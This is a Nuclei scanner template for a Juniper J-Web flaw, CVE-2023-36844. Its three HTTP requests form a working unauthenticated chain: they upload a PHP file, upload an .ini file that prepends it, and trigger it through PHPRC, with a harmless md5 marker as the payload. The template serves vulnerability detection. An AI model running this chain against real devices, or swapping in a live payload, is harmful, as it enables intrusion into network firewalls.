id: CVE-2023-36844

info:
  name: Juniper Devices - Remote Code Execution
  author: princechaddha,ritikchaddha
  severity: medium
  description: |
    Multiple cves in Juniper Network (CVE-2023-36844|CVE-2023-36845|CVE-2023-36846|CVE-2023-36847).A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series allows an unauthenticated, network-based attacker to control certain, important environments variables. Utilizing a crafted request an attacker is able to modify certain PHP environments variables leading to partial loss of integrity, which may allow chaining to other vulnerabilities.
  reference:
    - https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/
    - https://github.com/watchtowrlabs/juniper-rce_cve-2023-36844
    - https://supportportal.juniper.net/JSA72300
    - http://packetstormsecurity.com/files/174397/Juniper-JunOS-SRX-EX-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-36844
    cwe-id: CWE-473
    epss-score: 0.02371
    cpe: cpe:2.3:o:juniper:junos:*:*:*:*:*:*:*:*
    epss-percentile: 0.88443
  metadata:
    max-request: 3
    verified: true
    shodan-query: title:"Juniper Web Device Manager"
    vendor: juniper
    product: junos
  tags: cve,cve2023,juniper,php,rce,intrusive,fileupload
variables:
  value: "CVE-2023-36844"
  payload: "('<?php echo md5('{{value}}');?>')"

http:
  - raw:
      - |
        POST /webauth_operation.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        rs=do_upload&rsargs[]=[{"fileData": "data:text/html;base64,{{base64(payload)}}", "fileName": "{{rand_base(5, "abc")}}.php", "csize": {{len(payload)}}}]
      - |
        POST /webauth_operation.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        rs=do_upload&rsargs[]=[{"fileName": "{{rand_base(5, "abc")}}.ini", "fileData": "data:text/html;base64,{{base64(concat('auto_prepend_file=',hex_decode('22'),'/var/tmp/',phpfile,hex_decode('22')))}}", "csize": "97" }]
      - |
        GET /webauth_operation.php?PHPRC=/var/tmp/{{inifile}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '"original_fileName":'
          - '"converted_fileName":'
        condition: and

      - type: word
        part: body_3
        words:
          - '{{md5(value)}}'

    extractors:
      - type: regex
        part: body_1
        name: phpfile
        regex:
          - "([a-f0-9]{64}\\.php)"
        internal: true

      - type: regex
        part: body_2
        name: inifile
        regex:
          - "([a-f0-9]{64}\\.ini)"
        internal: true